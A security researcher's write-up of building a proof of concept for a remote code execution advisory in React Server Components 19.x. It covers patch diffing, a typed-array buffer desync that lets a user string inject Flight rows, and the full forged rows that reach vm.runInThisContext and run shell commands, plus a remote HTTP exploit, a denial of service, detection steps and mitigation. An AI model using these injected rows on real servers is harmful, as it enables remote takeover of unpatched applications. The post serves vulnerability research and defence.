rudra0x01

Building a PoC for GHSA-xqc2-xf4c-x3h3 - RCE in React Server Components

This is the first post in a new section of the site. The idea is simple: instead of only writing up what a bug is, I want to write up how the PoC got built — the lab, the dead ends, the byte arithmetic, the part where you stare at a hexdump for twenty minutes.

The subject is GHSA-xqc2-xf4c-x3h3, a critical advisory in React Server Components — CVSS v4 9.5. Affects react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel on 19.0.0–19.0.8, 19.1.0–19.1.9, 19.2.0–19.2.8 and 19.3.0. Fixed in 19.0.9, 19.1.10, 19.2.9 and 19.3.1.

And the entire technical description you get is the trigger condition: it needs a response that transports multiple typed arrays plus an attacker-controlled value. That is it. No bad line, no PoC, no CVE at the time I looked.

So everything below was derived from the 19.2.8 → 19.2.9 diff and then confirmed by running it. The finished repo is two commands:

npm run setup       # installs 19.2.8 and 19.2.9 into isolated node_modules
npm run poc
  react-server-dom-webpack 19.2.8   code executed: true
  react-server-dom-webpack 19.2.9   code executed: false

  PoC reproduced.

Here is how I got there.

The plan

Before writing any code I wrote down the order of work, because PoC building goes sideways fast if you start by guessing at exploits:

  1. Get both versions installed side by side, isolated from each other.
  2. Diff the patch and read it until I can say the bug out loud in one sentence.
  3. Write a reader for whatever the protocol puts on the wire.
  4. Build a control — the benign case — and prove it is healthy.
  5. Break the control with one single change and compare the bytes.
  6. Turn the corruption into something an attacker controls.
  7. Turn attacker control into code execution.
  8. Prove the patched version stops it, and say what it does not stop.
  9. Prove it over the network, not just in one process.

If you only take one thing from this post, take step 4. Every PoC I have ever had bounced back was missing a control.

Step 1 - two Reacts in one folder

RSC is two halves that must not meet. The renderer runs with Node’s react-server export condition, the consumer must not have it. A real deployment is arranged exactly that way, and if you collapse them into one process you will spend an hour debugging React instead of the bug.

So the lab is two isolated dependency trees:

env/vulnerable/     node_modules @ 19.2.8  + load-server.mjs / load-client.mjs
env/patched/        node_modules @ 19.2.9  + load-server.mjs / load-client.mjs

Each one is just a package.json with pinned versions:

{
  "name": "ghsa-xqc2-env-vulnerable",
  "private": true,
  "type": "module",
  "dependencies": {
    "react": "19.2.8",
    "react-dom": "19.2.8",
    "react-server-dom-webpack": "19.2.8"
  }
}
npm --prefix env/vulnerable install --legacy-peer-deps --no-audit --no-fund
npm --prefix env/patched    install --legacy-peer-deps --no-audit --no-fund

--prefix is the useful bit. No workspaces, no hoisting, no npm deciding that two versions of React can share a tree. Two folders, two realities, and a loader in each:

// env/vulnerable/load-server.mjs - loaded under `node --conditions=react-server`
import {AsyncLocalStorage} from 'node:async_hooks';
globalThis.AsyncLocalStorage ??= AsyncLocalStorage;

import * as ReactServerDOMServer from 'react-server-dom-webpack/server.node';

The consumer side needs two globals or it throws immediately:

// env/vulnerable/load-client.mjs - loaded under the DEFAULT conditions
globalThis.__webpack_require__ ??= id => require(id);
globalThis.__webpack_chunk_load__ ??= () => Promise.resolve();

const ReactServerDOMClient = await import('react-server-dom-webpack/client.edge');

Worth being honest about this shim, because it is the thing a reviewer will poke at: react-server-dom-webpack/client cannot run without __webpack_require__ and __webpack_chunk_load__ — they are how it loads client references, and it throws the moment one is missing. So every real consumer has them. Mine models a webpack server bundle (Next.js’s node target), where Node core modules are emitted as externals that delegate to require. The exploit does not depend on that shape. It depends on a forged chunk reaching __webpack_require__ without the manifest being consulted, which is a different claim entirely.

Step 2 - diff the patch, properly

This is the part I want to spell out slowly, because “diff the patch” is advice everyone repeats and almost nobody shows.

Do not start on GitHub. Start with the artefact that actually runs on people’s machines — the npm tarball. npm pack downloads it without installing anything and without running install scripts:

mkdir -p /tmp/rsc-diff && cd /tmp/rsc-diff

npm pack react-server-dom-webpack@19.2.8 react-server-dom-webpack@19.2.9

tar -xzf react-server-dom-webpack-19.2.8.tgz && mv package v19.2.8
tar -xzf react-server-dom-webpack-19.2.9.tgz && mv package v19.2.9

Every npm tarball extracts to a directory literally called package, so extract one, rename it, then extract the next. Getting that wrong and silently overwriting is a rite of passage.

Now the first question is not “what changed” but “where did it change”:

diff -rq v19.2.8 v19.2.9
differ: cjs/react-server-dom-webpack-client.browser.development.js
differ: cjs/react-server-dom-webpack-client.browser.production.js
differ: cjs/react-server-dom-webpack-client.edge.development.js
differ: cjs/react-server-dom-webpack-client.edge.production.js
differ: cjs/react-server-dom-webpack-client.node.development.js
differ: cjs/react-server-dom-webpack-client.node.production.js
differ: cjs/react-server-dom-webpack-server.browser.development.js
differ: cjs/react-server-dom-webpack-server.browser.production.js
differ: cjs/react-server-dom-webpack-server.edge.development.js
differ: cjs/react-server-dom-webpack-server.edge.production.js
differ: cjs/react-server-dom-webpack-server.node.development.js
differ: cjs/react-server-dom-webpack-server.node.production.js
differ: package.json

-r is recursive, -q means “just tell me which files differ”. Twelve builds and a version bump — which is 2 halves (server, client) × 3 environments (browser, edge, node) × 2 builds (development, production). Same change, twelve times. So there are really only two files to read, and you want the .development.js ones, because the production builds are minified and will waste your afternoon.

A detail that matters: both halves changed. Server and client. That already tells you the fix is a root cause plus some defence in depth, which usually means the chain crosses the wire.

diff -u v19.2.8/cjs/react-server-dom-webpack-server.node.development.js \
        v19.2.9/cjs/react-server-dom-webpack-server.node.development.js | less

368 changed lines in the server build, 121 in the client build. Most of it is unrelated hardening shipped in the same release — which is normal, and is why you read the diff instead of trusting a changelog. Two hunks are the advisory.

Hunk one, in the function that writes a chunk to the destination (trimmed in two places — the unchanged copy-into-the-staging-view branch, and the tail of the second warning):

-      } else
-        0 !== chunk.byteLength &&
-          (2048 < chunk.byteLength
-            ? ( ... writeToDestination(destination, chunk))
-            : ( ... copy into currentView ... ));
+      } else if (0 === chunk.byteLength)
+        if (supportsArrayBufferDetached) {
+          if (chunk.buffer.detached)
+            throw Error(
+              "Cannot transport a detached buffer. This usually happens when trying to transport multiple buffer-spanning views on the same underyling buffer. Either reuse the exact same view by identity or copy the underlying buffer manually via `view.slice()`."
+            );
+        } else
+          didWarnAboutMissingArrayBufferDetached ||
+            (console.error(
+              "React encountered an empty buffer when writing in an environment that does not support ArrayBuffer.prototype.detached. This could be a security issue if the buffer was not actually empty. ..."
+            ),

Read that error message again. React’s own patch tells you the bug: multiple buffer-spanning views on the same underlying buffer. Typo and all. That one string collapsed the whole research problem into “make two views share an ArrayBuffer and watch what happens.”

Free tip from this: always grep a patch for new error strings. Developers explain the bug to their colleagues in the message they add to stop it.

Hunk two, in emitTypedArrayChunk, which is the actual root cause:

-      typedArray = new Uint8Array(
-        typedArray.buffer,
-        typedArray.byteOffset,
-        typedArray.byteLength
-      );
-      var binaryLength = typedArray.byteLength;
-      id = id.toString(16) + ":" + tag + binaryLength.toString(16) + ",";
+      a: {
+        var view = new Uint8Array(
+          typedArray.buffer,
+          typedArray.byteOffset,
+          typedArray.byteLength
+        );
+        if (2048 < typedArray.byteLength) {
+          if (
+            0 !== typedArray.byteOffset ||
+            typedArray.byteLength !== typedArray.buffer.byteLength ||
+            typedArray.buffer.resizable
+          ) {
+            typedArray = view.slice();
+            break a;
+          }

Before: hand React’s transport a bare view into whatever buffer the caller owned. After: if the view does not span its whole buffer, slice() it — i.e. copy it. The 2048 is React’s internal VIEW_SIZE; anything bigger is written straight through instead of being copied into React’s own staging buffer.

So the sentence I could finally say out loud:

A typed array larger than 2048 bytes is handed to the byte stream as a view. A byte stream takes ownership of the whole ArrayBuffer behind anything it is given. If a second typed array in the same response is a view on that same buffer, it is now zero bytes long — and its length header is already on the wire.

Then the client side, same technique, five one-line hunks:

     function createResolvedModelChunk(response, value) {
-      return new ReactPromise("resolved_model", value, response);
+      return new ReactPromise(
+        "resolved_model",
+        value,
+        _defineProperty({}, RESPONSE_SYMBOL, response)
+      );

       var resolvedModel = chunk.value,
-        response = chunk.reason;
+        response = chunk.reason[RESPONSE_SYMBOL];

-    function createModel(response, model) {
-      return model;
+    function createModel(response, model, parentObject, key) {
+      return "then" === key && "function" === typeof model ? null : model;

     function loadServerReference(response, metaData, parentObject, key) {
+      if ("then" === key) return null;
+      var id = metaData.id;
+      if ("string" !== typeof id) return null;

+      RESPONSE_SYMBOL = Symbol();

When a patch introduces a private Symbol() to hold something that used to be stored in a plain property, the question to ask is: what was being confused with what? The answer here: a resolved_model chunk kept the whole Response object in its reason field, and the initializer trusted it. Hide it behind a module-private Symbol and an object that merely looks like a chunk can no longer supply a fake Response.

I did not know yet how an attacker would get an object into that position. But now I knew that if I ever could, it was game over — and I had a reason to go hunting for exactly that.

Step 3 - read the wire before you touch it

RSC payloads are not JSON. The format (React calls it Flight) is a sequence of rows, and there are two kinds:

<hex id> ":" [tag] <body> "\n"              newline terminated
<hex id> ":" <tag> <hex byteLength> ","     length prefixed, then exactly that many raw bytes

Length-prefixed rows are the interesting ones: their body is raw, unescaped bytes, and the only thing telling the client where the body ends is the number the server declared in the header.

I wrote ~160 lines (src/wire.mjs) that walk a buffer exactly the way React’s own row parser does and return one record per row it believes it saw. That file turned out to be the single most valuable thing in the repo. Not the exploit — the reader. Every later step is “render it, dump it, parse it, look”.

If you are building your first PoC against a binary-ish protocol, write the parser first. You cannot debug bytes you cannot see.

Step 4 - the control, then one change

Now the “vulnerable application”. Important: nothing in it is adversarial. It is a server component result holding two binary blobs and one string that came from a user:

export function buildModel({first, second, note}) {
  return {
    attachmentA: first,
    attachmentB: second,
    userNote: note,   // straight from the request, never interpreted
  };
}

A gotcha that cost me time, and that matters if you are checking your own app for exposure: a Node Buffer is not transported as binary at all. JSON.stringify calls its toJSON() before React’s replacer ever sees it, so it arrives as {type:'Buffer',data:[...]}. To get real binary transport an app must hand React a plain Uint8Array view:

export function toPlainView(buf) {
  return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength);
}

That conversion is a view, not a copy — so it inherits whatever ArrayBuffer the Buffer was sitting in. The risky pattern writes itself.

I gave the app three sharing modes so the only difference between runs is one flag:

mode how the two views relate expected
separate two independently allocated Uint8Arrays control, healthy
subarray one 6000-byte ArrayBuffer split in two shared buffer
pool two ordinary Buffer.allocUnsafe() out of Node’s pool slab shared buffer, realistic

Run the control first:

1. Control: two typed arrays that each own their ArrayBuffer
  shared ArrayBuffer: false | wire: 11101 bytes | views after render: 0/0 bytes
  @    0 :N           newline          got=18     1794270063605.3938
  @   21 1:obb8,      declared=3000    got=3000   <3000xA>
  @ 3028 2:obb8,      declared=3000    got=3000   <3000xB>
  @ 6035 3:T1388,     declared=5000    got=5000   <5000xx>
  @11043 0:           newline          got=55     {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
  => every length-prefixed row's body is present. row 1: uniform fill, row 2: uniform fill

Read it like this: row 1 declares 0xbb8 = 3000 bytes and delivers 3000 bytes of A. Row 2 delivers 3000 bytes of B. Row 3 is the user’s note, outlined into a T row, 0x1388 = 5000 bytes. Row 0 at the end is the actual model, referencing the others by $1, $2, $3. Healthy.

Now change one thing — the two views share a buffer:

2. Probe: the same response, but the two views share one ArrayBuffer
  one 6000-byte ArrayBuffer split into two views
  shared ArrayBuffer: true | wire: 8101 bytes (3000 fewer than the control) | views after render: 0/0 bytes, backing detached: true
  @    0 :N           newline          got=18     1794270063689.0762
  @   21 1:obb8,      declared=3000    got=3000   <3000xA>
  @ 3028 2:obb8,      declared=3000    got=3000   3:T1388,<2992xN>
  @ 6035 -20:         newline          got=55     {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
  => row 2 declares 3000 bytes but the server wrote none.

Three things in that output are the whole bug:

  • 3000 fewer bytes on the wire. Row 2’s body was never written.
  • backing detached: true. Writing view A transferred ownership of the shared ArrayBuffer to the stream, so view B became zero-length — but its header, declaring 3000 bytes, had already been queued.
  • 3:T1388,<2992xN> as row 2’s body. The client has nothing but the declared length to go by, so it reads 3000 bytes of whatever follows. What follows is the next row’s header and the start of the user’s note.

And look at that bogus row id, -20. That is not a real row. The parser resynchronised in the middle of a value and read a chunk id out of someone’s string. Once you see an impossible row id in an RSC payload, something upstream has desynchronised the stream.

Here is the same moment in raw bytes, because it is more convincing than any diagram:

$ xxd -s 3008 -l 32 artifacts/02-probe.rsc
00000bc0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000bd0: 4141 4141 323a 6f62 6238 2c33 3a54 3133  AAAA2:obb8,3:T13

2:obb8, immediately followed by 3:T1388, — a length header with no body, glued to the next header.

At this point I had a denial of service and nothing more. Worth stopping to notice: that alone is a finding. Any route that produces such a response is already broken for every visitor, with zero attacker input.

Step 5 - from corruption to attacker-controlled rows

The jump from “the stream is corrupt” to “the attacker writes protocol rows” is one observation: React outlines any string of 1024 characters or more into its own length-prefixed T row, where the bytes go out raw and unescaped — quotes, newlines, everything.

Normally that is perfectly safe, because those bytes are only ever read as one row’s body. The desync removes the containment. The client swallows declaredLength bytes starting at row 2’s body, and if the attacker chooses the length of their string, they choose where the parser wakes up — and it wakes up inside their own bytes, which are then parsed as fresh rows.

So the padding is just arithmetic:

padding = droppedRowLength - len("<id>:T<hexlen>,")

With one wrinkle that is easy to miss: the header length depends on the hex width of the note’s byte length, which depends on the padding, which depends on the header length. So it iterates to a fixed point (eight rounds, in practice one or two).

Concretely, from the real run:

3. Craft the user-supplied string
  note length     3827 bytes (>= 1024, so React outlines it into a raw T row)
  padding         2993 bytes, so the client resyncs at note offset 2993
  injected rows   3 Flight rows, 834 bytes

Check the arithmetic by hand — this is the part worth doing once with a pen:

  • note id is 3, note length is 3827 = 0xef3, so the header 3:Tef3, is 7 bytes.
  • 3000 - 7 = 2993 bytes of padding.
  • 2993 + 834 = 3827, which is still three hex digits, so the fixed point holds.

And on the wire the swallowed region ends exactly on the first injected row:

  @ 3028 2:obb8,      declared=3000    got=3000   3:Tef3,<2993x.>
  @ 6035 a:           newline          got=128    {"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module","value...
  @ 6166 b:           newline          got=693    {"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value"...
  @ 6862 3:           newline          got=4      "$b"
  @ 6869 0:           newline          got=55     {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}

Row 2’s body starts at 3035 and runs 3000 bytes, which lands on 6035 — and 6035 is where row a begins. The attacker’s padding is literally the gap, and rows a, b and 3 are now top-level rows of the response.

One more detail, and it is the nastiest one. Because the genuine T header was swallowed, chunk id 3 was never filled by the server. So the attacker refills it themselves with 3:"$b". Initializing the real root row then reaches the attacker’s rows on its own, which means the application never has to read, render or await the user’s value. It is enough that it travelled in the response.

Step 6 - from rows to code execution

Now back to that RESPONSE_SYMBOL hunk from step 2. The way in is getOutlinedModel, which unwraps anything that looks like a React lazy node by reading _payload and treating it as one of React’s own internal chunk records:

while (typeof value === 'object' && value !== null &&
       value.$$typeof === REACT_LAZY_TYPE) {
  const referencedChunk = value._payload;        // a plain object from the payload
  switch (referencedChunk.status) {
    case RESOLVED_MODEL:  initializeModelChunk(referencedChunk);  break;
    case RESOLVED_MODULE: initializeModuleChunk(referencedChunk); break;
  }

Nothing checks that the object came from React. And Symbol.for('react.lazy') is reachable straight from the payload, because the $S symbol encoding puts no restriction on the name: "$Sreact.lazy".

Two forged chunks are enough.

Row a — a fake resolved_module chunk. initializeModuleChunk calls requireModule(chunk.value) with whatever metadata it finds, so resolveClientReference and the consumer manifest — the only thing that normally decides which modules a payload may reach — are skipped entirely:

a:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module",
   "value":["node:vm",[],"runInThisContext"],"_debugChunk":null}}

["moduleId", chunkIds, "exportName"] is the shape requireModule() expects. One arbitrary __webpack_require__(id), one arbitrary export read. Row a is now a reference to vm.runInThisContext.

Row b — a fake resolved_model chunk. This is the hunk from the diff. In 19.2.8:

const resolvedModel = chunk.value;
const response = chunk.reason;                       // attacker-controlled object
const value = JSON.parse(resolvedModel, response._fromJSON);

The forged chunk supplies both the reviver and the document it is applied to. So point _fromJSON at row a, and put the payload in a JSON key — because JSON.parse invokes a reviver as reviver(key, value, context), and the key lands in the gadget’s first parameter:

b:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model",
   "value":"{\"<attacker source>\":{}}","reason":{"_fromJSON":"$a"},"_debugChunk":null}}
3:"$b"

Deserializing the response now calls vm.runInThisContext("<attacker source>", {}) in the consumer’s own realm.

Small practical note on the payload itself: it runs in the global context, where there is no module-local require. process is a global though, and process.getBuiltinModule hands out core modules from anywhere:

var fs = process.getBuiltinModule('node:fs');
var cp = process.getBuiltinModule('node:child_process');
fs.writeFileSync(markerPath, JSON.stringify({ /* ... */
  user: os.userInfo().username,
  shellOutput: cp.execSync('id', {encoding: 'utf8'}).trim()
}));

Writing a marker file plus the output of a spawned command is deliberate. A PoC that prints “pwned” proves nothing to a skeptical maintainer. Evidence that only the target process could have produced is much harder to argue with:

4. Consume it with the vulnerable client (19.2.8)
  client version  19.2.8 (development)
  root keys       ["attachmentA","attachmentB"]
  userNote        undefined
  CODE EXECUTED   true
  evidence written by the payload:
    {
      "proof": "arbitrary code executed inside the RSC consumer",
      "pid": 19325,
      "execPath": "/opt/homebrew/Cellar/node/26.11.1/bin/node",
      "cwd": "/Users/rudra/development/poc/GHSA-xqc2-xf4c-x3h3",
      "user": "rudra",
      "host": "Rudras-Mac-mini.local",
      "shellOutput": "uid=501(rudra) gid=20(staff) groups=20(staff),12(everyone),...",
      "at": "2026-11-10T00:21:03.826Z"
    }

Note userNote: undefined and root keys missing userNote entirely. The application never used the attacker’s string. The code ran during deserialization anyway.

Step 7 - prove the fix works, and be honest about it

Two separate checks, because the patch has two halves.

The patched server, same model, same malicious note:

5. Render the same model with the patched server (19.2.9)
  wire: 9926 bytes | views after render: 3000/3000 bytes, backing detached: false
  @ 3027 2:obb8,      declared=3000    got=3000   <3000xB>
  @ 6034 3:Tef3,      declared=3827    got=3827   <2993x.>a:{"$$typeof":"$Sreact.lazy",...
  => both bodies are present

Both bodies present, nothing detached, and — the detail I like most — the attacker’s rows are still there, sitting harmlessly inside row 3’s body where they belong. The containment is back.

The patched client, fed the byte-identical malicious wire that just worked:

6. Feed the byte-identical malicious payload to the patched client (19.2.9)
  client version  19.2.9 (development)
  root keys       ["attachmentA","attachmentB","userNote"]
  userNote        object{$$typeof,_payload}
  CODE EXECUTED   false

Now the honest part. I wrote a separate script that tests each client-side primitive in isolation against both versions, because “it’s fixed” and “that technique no longer works” are not the same claim:

primitive 19.2.8 19.2.9
property-path walk reaches the Function constructor works works
forged react.lazy node accepted as an internal chunk works works
forged resolved_module chunk bypasses the consumer manifest works works
forged resolved_model chunk supplies its own Response works blocked
a function parked on a then key works blocked

The lazy-node confusion and the resulting requireModule(<attacker metadata>) manifest bypass still stand in 19.2.9. They are simply no longer reachable, because the transport bug that let an attacker inject rows is gone. Anyone who finds another route to Flight row injection gets an arbitrary __webpack_require__ back.

Put that in the write-up. A PoC that overstates the fix is as unhelpful as one that overstates the bug.

Step 8 - then prove it over HTTP

Everything above runs in one process with files on disk. That is enough to prove a mechanism and nowhere near enough for a report. The question a defender asks is “can someone on the internet do this to my service”, so the lab has to answer that question literally.

Two complete stacks of the same app, differing only in the package version:

               ┌─────────────────────────┐      ┌──────────────────────────┐
attacker ─────▶│ web-vulnerable  :3000   │─────▶│ rsc-vulnerable (internal)│
(HTTP only)    │ SSR consumer, 19.2.8    │      │ renderer, 19.2.8         │
               │ createFromReadableStream│      │ --conditions=react-server│
               └─────────────────────────┘      └──────────────────────────┘
               ┌─────────────────────────┐      ┌──────────────────────────┐
               │ web-patched     :4000   │─────▶│ rsc-patched    (internal)│
               │ SSR consumer, 19.2.9    │      │ renderer, 19.2.9         │
               └─────────────────────────┘      └──────────────────────────┘

One Dockerfile with a REACT_VERSION build arg, so the identical application runs vulnerable or patched with nothing else changed. The app is an ordinary attachment viewer: thumbnails by default, full-resolution attachments on ?full=1, both carved out of one decode buffer. It serves its RSC payload at /rsc the way a real RSC app serves it to browsers.

The exploit script never imports React and never touches the target’s filesystem. It speaks HTTP only, in four steps:

  1. measure — POST /rsc?full=1 with a filler note, then read the framing off the response: which binary row was dropped, how many bytes it declared, and which chunk id carries the note;
  2. craft — pad the note so the client resyncs exactly on the injected rows;
  3. fire — one POST /?full=1 with that note as the body;
  4. verify — read back the evidence the payload left, through a directory bind-mounted out of the container, so the application needs no special endpoint for the PoC to check itself.
  [0] GET /            -> 200 (thumbnails, 1024 bytes each)
      GET /?full=1     -> 500 (full attachments, 3000 bytes each)
  [1] measured 9080 bytes of RSC payload from http://localhost:3000/rsc?full=1
  @    0 1:obb8,      declared=3000    got=3000   <3000xA>
  @ 3007 2:obb8,      declared=3000    got=3000   3:T1770,<2992xN>
  @ 6014 -20:         newline          got=55     {"attachmentA":"$1",…}
  [2] crafted a 3773-character note: 2993 bytes of padding, then 3 injected rows
  [3] POST http://localhost:3000/?full=1  ->  200 OK, 239 bytes of text/html
  [4] CODE EXECUTED inside the web container:
        { "pid": 6, "cwd": "/srv", "user": "root", "host": "89790dda6ed2",
          "shellOutput": "uid=0(root) gid=0(root) groups=0(root),1(bin),…" }

Two things to point at in that output. The exploit request returns 200 OK with a normal HTML page — nothing in the response distinguishes it from any other visit. And step [0] is the availability half of the same bug: on 19.2.8 the full-resolution route is already broken for everyone, with no attacker input at all.

Against :4000 the same script reports:

  @ 3007 2:obb8,      declared=3000    got=3000   <3000xB>
  => every binary row carries its own bytes. The wire is sound, so there is
     no resync point to aim at and nothing to inject into.

Ship an inert mode

If you hand a PoC to anyone else, give them a way to run it that proves the finding without running code. Mine is --check: it measures the framing, then injects a single row that does nothing but refill the note’s chunk id with a random token. If that token comes back as the rendered note, the attacker’s bytes were parsed as Flight rows — which is the finding:

node poc/remote.mjs --url http://localhost:3000 --check
  [2] crafted a 3055-character note: 2993 bytes of padding, then 1 injected Flight row (inert probe)
  [3] POST http://localhost:3000/?full=1  ->  200 OK
      the token came back as the rendered note: row injection CONFIRMED

  => this target is exploitable. No code was compiled or run on it.

Point that at any host you own or are authorised to test. Just keep in mind it is the method, not a turnkey scanner: the route, the parameter and the chunk ids will all be different on a real framework.

Also: make exit status mean something. 0 when the expected result was observed, 1 otherwise. That is what makes a PoC usable in CI by the team that has to prove their upgrade worked.

The free DoS

The code-execution chain needs the shared buffer to be detachable. Node’s Buffer pool slab is not, and 19.2.8 hands the raw view over anyway, so the write throws and the whole render is lost:

  Buffer.poolSize    65536 (pooled while <= 32768 bytes)
  19.2.8   shared=true  RENDER FAILED - 0 bytes delivered
           ArrayBuffer is not detachable and could not be cloned.
  19.2.9   shared=true  rendered 6107 bytes

No attacker-controlled value involved at all. Every allocation below Buffer.poolSize >>> 1 — every Buffer up to 32 KiB on current Node — comes out of one shared 64 KiB slab. So any response transporting two ordinary Buffers over 2048 bytes is affected. Two fs.readFile() results converted for transport is enough.

This is the easier bug by a mile, and on an affected app it is probably already filed as “that page 500s with big attachments”.

Make it useful to whoever has to fix it

A PoC that only exploits is half a deliverable. The other half is: am I affected? Two separate questions there, and you need both.

Is a vulnerable runtime installed? Do not rely on npm ls react-server-dom-webpack. On a Next.js app it happily prints (empty) while the vulnerable code is still right there: Next.js precompiles React into next/dist/compiled/, where a current release ships four vendored copies plus the Flight runtime inlined into its next-server/*.runtime.*.js bundles. A version check misses every one of them.

So key on code signatures, not version numbers:

half signature why that one
server the 'detached' property-name string hasOwnProperty.call(ArrayBuffer.prototype, 'detached') — the root-cause fix
client the 'then' string literal the key === 'then' guards shipped with the fix

Both are string literals, chosen because they survive a framework re-bundling React. Identifier names do not — Next.js’s minifier renames RESPONSE_SYMBOL — and neither do error messages, since Next.js keeps the detach check but strips the "Cannot transport a detached buffer" text.

You can do the whole check with grep:

grep -rcE "[\"']detached[\"']" env/*/node_modules/react-server-dom-webpack/cjs/*server.node.development.js
env/vulnerable/.../react-server-dom-webpack-server.node.development.js:0
env/patched/.../react-server-dom-webpack-server.node.development.js:1

Zero means vulnerable. And if a framework vendors React, upgrade the framework — bumping react alone does not replace its precompiled copy.

Does a response actually desynchronise? A vulnerable runtime is necessary but not sufficient; the app also has to transport two typed arrays over one ArrayBuffer with at least one over 2048 bytes. That is checkable read-only, from the framing alone, without knowing what the server meant to send: a declared length that runs past the end of the stream, a row body that starts with what is plainly the next row’s header, or trailing rows with impossible chunk ids.

One nuance that surprised me: following links finds almost nothing. When the page body is a client component — which it usually is — navigation is built in the browser, so it appears in neither the RSC payload nor the static HTML. On one production Next.js site a link crawl found 2 routes on an app with hundreds. Seed from the route list the app publishes itself instead: robots.txt → Sitemap: → /sitemap.xml.

And the cheapest signals of all, with no tooling:

  • Does any route return 5xx only when its binary content is large? That is the giveaway, and on an affected app it is often already a bug report.
  • Grep your own code for typed arrays crossing the RSC boundary at all. No typed array in any response means no exposure, whatever version you run.
  • Then ask whether an attacker-influenced string of 1024+ characters rides in the same response. Without one there is no injection, only the availability problem.

If upgrading has to wait, copy before transporting so every typed array owns its buffer:

// instead of handing React a view into a shared buffer
return {blob: new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength)};
// give it one that spans its own
return {blob: new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength).slice()};

.slice() is exactly what the patched React does for you.

What I’d tell anyone building their first PoC

  1. Build the control first. “Here is the benign case working, here is the one change, here is it breaking” is the entire argument. Without it you are claiming a crash.
  2. Change one variable at a time. Three sharing modes behind one flag, two versions behind one path. Every run differs from the last in exactly one way.
  3. Write the parser before the exploit. You cannot debug bytes you cannot read, and you will be reading them for hours.
  4. Dump every intermediate to disk. Numbered files — 01-control.rsc, 02-probe.rsc, 03-note.txt, 04-exploit.rsc. When step 6 misbehaves you want to xxd step 2 again, not re-run everything.
  5. Grep the patch for new error strings. Maintainers describe the bug in the message they add to prevent it. This one even shipped the typo.
  6. Ask what a new Symbol was hiding. Patches that move data behind a private key are telling you two things used to be confusable.
  7. Make the result machine-checkable. Meaningful exit codes, and an inert mode that proves the finding without executing anything.
  8. Say what the fix does not fix. It is more useful than overstating it, and it is the part other researchers will pick up.
  9. Keep it scoped. Mine targets only the two versions it installs locally, writes only inside artifacts/, and has no network or persistence behaviour of its own. Run things like this against systems you own or are authorised to test.

Repo layout, for reference

env/vulnerable/        isolated node_modules @ 19.2.8  + load-server/load-client
env/patched/           isolated node_modules @ 19.2.9  + load-server/load-client
src/app.mjs            the "vulnerable application" and its three sharing modes
src/wire.mjs           the Flight row reader - replays how the client parses
src/payload.mjs        payload construction, gadget selection, byte alignment
poc/render.mjs         server half  - runs under `node --conditions=react-server`
poc/consume.mjs        client half  - runs under the default conditions
poc/run.mjs            driver for the full matrix
poc/primitives.mjs     each client-side primitive in isolation, both versions
poc/dos.mjs            the pooled-Buffer denial of service
poc/detect.mjs         triage: scan runtimes, check a response, crawl an origin
poc/remote.mjs         the remote exploit - HTTP only, no React, no target files
app/web-server.mjs     containerised SSR consumer - the process that gets owned
docker/Dockerfile      one image, REACT_VERSION picks 19.2.8 or 19.2.9
compose.yaml           both stacks, :3000 vulnerable / :4000 patched

Advisory: GHSA-xqc2-xf4c-x3h3. Patched in 19.0.9, 19.1.10, 19.2.9, 19.3.1 — and if your framework vendors React, upgrade the framework.